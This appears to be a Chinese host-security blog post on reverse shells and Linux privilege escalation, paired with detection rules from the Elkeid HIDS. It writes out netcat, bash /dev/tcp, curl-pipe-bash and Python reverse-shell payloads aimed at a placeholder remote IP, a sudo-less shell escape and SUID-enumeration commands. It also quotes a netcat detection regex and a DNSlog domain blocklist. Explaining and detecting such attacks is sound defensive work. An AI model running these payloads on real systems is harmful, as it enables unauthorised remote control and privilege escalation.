主机安全-进程、命令攻击与检测

目录

  • 概述
  • 反弹shell
    • 原理
    • nc
    • /dev/xxx反弹shell
    • 下载不落地反弹Shell
    • 各种语言反弹shell
  • linux提权
    • sudo
    • suid提权
    • mysql提权
  • Dnslog
  • 参考


概述

本文更新通过在主机(不含容器)上直接执行命令或启动进程来攻击的场景。检测方面以字节跳动的开源HIDS elkeid举例。每种检测仅举一个例子,其余的给出示例payload。

反弹shell

原理

控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端

nc

nc 远程ip 端口 -e /bin/bash

Elkeid规则如下:

(?:\bnc(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.openbsd(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.traditional(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnc.linux(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*)|\bnetcat(?:\s+-+\w+\s*[^\x3B\x7C]*\s+-\w*e\w*\b|\s+-\w*e\w*|\s+[\d\.\s]+\s+-\w*e\w*))

在这里插入图片描述

/dev/xxx反弹shell

指的是通过/dev/tcp或/dev/udp的方式建立连接反弹shell,举例:

bash -i >& /dev/tcp/远程ip/端口 0>&1

下载不落地反弹Shell

指的是下载后通过管道等方式执行,不落地,举例:

curl/wget http://xxx.sh | bash

各种语言反弹shell

以Python为例:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("远程ip",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

linux提权

sudo

原理:临时赋予root权限运行某个程序

sudo less file_path
!bash

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

suid提权

chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置

收集具有suid的文件

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

在这里插入图片描述

mysql提权

  • udf提权
  • 写入webshell提权
  • mof提权

Dnslog

Elkeid规则如下:

.awvsscan119.autoverify.cn|.cybertunnel.run|.dnstunnel.run|.s0x.cn|.dns.1433.eu.org|.logplog.eu.org|.ns.dns3.cf|.vuleye.pw|.ceye.io|.exeye.io|.vcap.me|.xip.name|.xip.io|.sslip.io|.nip.io|.burpcollaborator.net|.tu4.org|.2xss.cc|.bxss.me|.godns.vip|.0kee.360.cn|.r87.me|.ngrok.io|.xn--9tr.com|.pipedream.net|.vxtrans.com|.vxtrans.link|.hopto.org|.zapto.org|.sytes.net|.ddns.net

在这里插入图片描述
在这里插入图片描述

参考

linux提权
反弹Shell原理及检测技术研究

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/44735.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

磁感应强度检测模块使用教程

目录 一、磁感应强度检测模块(AT 协议版本、Modbus 协议版本)1、参数2、报警引脚 二、AT版本1、接线说明2、AT 指令 三、Modbus 版本1、接线说明2、Modbus 指令格式3、Modbus 指令 一、磁感应强度检测模块(AT 协议版本、Modbus 协议版本) 图1 正面 图2 背面 AT 协议版本和 Modb…

Letter Exchange

这道题目看官方题解就好了,这个转换图论挺显然的 证明一下为什么最后一定是 显然练完贬值后图只能长成这个样子 在消掉长度为\(2\)的环后,如果说图没边了, 那么显然就不用交换了,否则的话我们任取一条边 那么对于\(2\)号点来说&am…

韦东山嵌入式linux系列-驱动进化之路:总线设备驱动模型

1 驱动编写的 3 种方法 以 LED 驱动为例 1.1 传统写法 使用哪个引脚,怎么操作引脚,都写死在代码中。 最简单,不考虑扩展性,可以快速实现功能。 修改引脚时,需要重新编译。 应用程序调用open等函数最简单的方法是驱动…

微调Qwen2大语言模型加入领域知识

目录 试用Qwen2做推理安装LLaMA-Factory使用自有数据集微调Qwen2验证微调效果 试用Qwen2做推理 参考:https://qwen.readthedocs.io/en/latest/getting_started/quickstart.html from transformers import AutoModelForCausalLM, AutoTokenizer device "cuda…

9.6 栅格图层符号化唯一值着色渲染

文章目录 前言多波段彩色渲染唯一值着色QGis设置为唯一值着色二次开发代码实现唯一值着色 总结 前言 介绍栅格图层数据渲染之唯一值着色渲染说明:文章中的示例代码均来自开源项目qgis_cpp_api_apps 多波段彩色渲染唯一值着色 以“with_color_table.tif”数据为例…

硅谷甄选4(项目主体)

1.路由配置 1.1路由组件的雏形 src\views\home\index.vue(以home组件为例) 安装插件: 1.2路由配置 1.2.1路由index文件 src\router\index.ts //通过vue-router插件实现模板路由配置 import { createRouter, createWebHashHistory } fro…

react-router实现路由拦截,useLocation,useNavigate钩子

路由拦截 react-router中没有直接给出拦截路由的方法,需要手动的去监听路由的变化来拦截路由 路由拦截的要点: 能够识别出目标路由和原始路由(区分跳转前和跳转后)能够在跳转时(跳转前或者跳转后)执行一些…

Vulnhub靶场 | DC系列 - DC1

https://www.vulnhub.com/series/dc,199/ 环境搭建 靶机镜像下载地址:https://www.vulnhub.com/entry/dc-1,292/;需要将靶机和 kali 攻击机放在同一个局域网里;本实验kali 的 IP 地址:192.168.10.146。 渗透测试 1. 信息收集 …

CH16-DOM元素增删改

CH16-DOM元素增删改 本章目标 掌握如何使用DOM获取节点时使用的属性熟练使用DOM节点进行创建、添加、删除、替换 一、使用DOM获取节点时使用的属性 1.1 首尾子节点 firstChild:获取当前节点的首个子节点,注意:换行符、空格等也是节点。 …

【逆向】-异或-分组异或2

IDA查看源代码 src长度32,encrypt函数加密,工4个参数,_FFFC双击,可以看到是个长度为7的固定值FnTest! 加密函数将4个参数又重新命名,混淆视听,但是还是可以看到是嵌套循环,动态调试直接看结果可…

C++11中重要的新特性之 lambda表达式 Part two

序言 在上一篇文章中,我们主要介绍了 C11 中的新增的关键词,以及 范围for循环 这类语法糖的使用和背后的逻辑。在这篇文章中我们会继续介绍一个特别重要的新特性分别是 lambda表达式 。 1. lambda表达式 1.1 lambda的定义 C11 中的 lambda表达式 是一种…

Java基础之集合

集合和数组的类比 数组: 长度固定可以存基本数据类型和引用数据类型 集合: 长度可变只能存引用数据类型存储基本数据类型要把他转化为对应的包装类 ArrayList集合 ArrayList成员方法 添加元素 删除元素 索引删除 查询 遍历数组

Linux: Mysql环境安装

Mysql环境安装(Centos) 前言一、卸载多余环境1.1 卸载mariadb1.2 查看并卸载系统mysql和mariadb安装包 二、换取mysql官方yum源三、安装并启动mysql服务3.1 yum源加载3.2 安装yum源3.3 安装mysql服务3.3.1 安装指令3.3.2 GPG密钥问题解决方法3.3.3 查看是…

循环结构(一)——for语句【互三互三】

文章目录 🍁 引言 🍁 一、语句格式 🍁 二、语句执行过程 🍁 三、语句格式举例 🍁四、例题 👉【例1】 🚀示例代码: 👉【例2】 【方法1】 🚀示例代码: 【方法2】…

Cartographer重入门到精通(二):运行作者demo及自己的数据集

在demo数据包上运行cartographer 现在Cartographer和Cartographer的Ros包已经都安装好了,你可以下载官方的数据集到指定的目录(比如在Deutsches Museum用背包采集的2D和3D 数据),然后使用roslauch来启动demo。 注:la…

IO半虚拟化-Virtio学习笔记

参考:《深入浅出DPDK》及大佬们的各种博客 Virtio简介&运行环境 Virtio 是一种用于虚拟化环境中的半虚拟化 I/O 框架,目的是在虚拟机和主机之间提供一种高效的 I/O 机制。关于什么是半虚拟化和全虚拟化:见SR-IOV学习笔记。 YES&#xf…

PDMS二次开发(二十二)——关于1.0.3.1版本升级内容的说明

目录 1.更新内容介绍2.效果演示3.关于重构自动添加焊口功能的说明3.1错误示例 3.问题交流1.创建焊口提示失败2.程序崩溃 1.更新内容介绍 在添加焊口之前先清除当前branch已有焊口;显示清除焊口的个数和添加焊口的个数;重构了自动添加焊口功能&#xff0…

值得关注的数据资产入表

不错的讲解视频,来自:第122期-杜海博士-《数据资源入表及数据资产化》-大数据百家讲坛-厦门大学数据库实验室主办第122期-杜海博士-《数据资源入表及数据资产化》-大数据百家讲坛-厦门大学数据库实验室主办-20240708_哔哩哔哩_bilibili

《A++ 敏捷开发》- 10 二八原则

团队成员协作,利用项目数据,分析根本原因,制定纠正措施,并立马尝试,判断是否有效,是改善的“基本功”。10-12章会探索里面的注意事项,13章会看两家公司的实施情况和常见问题。 如果已经获得高层…

java中的String 以及其方法(超详细!!!)

文章目录 一、String类型是什么String不可变的原因(经典面试题)String不可变的好处 二、String的常用构造形式1.使用常量串构造2.使用newString对象构造3.字符串数组构造 三、常用方法1. length() 获取字符串的长度2. charAt() 获取字符串中指定字符的值 (代码单元)3. codePoin…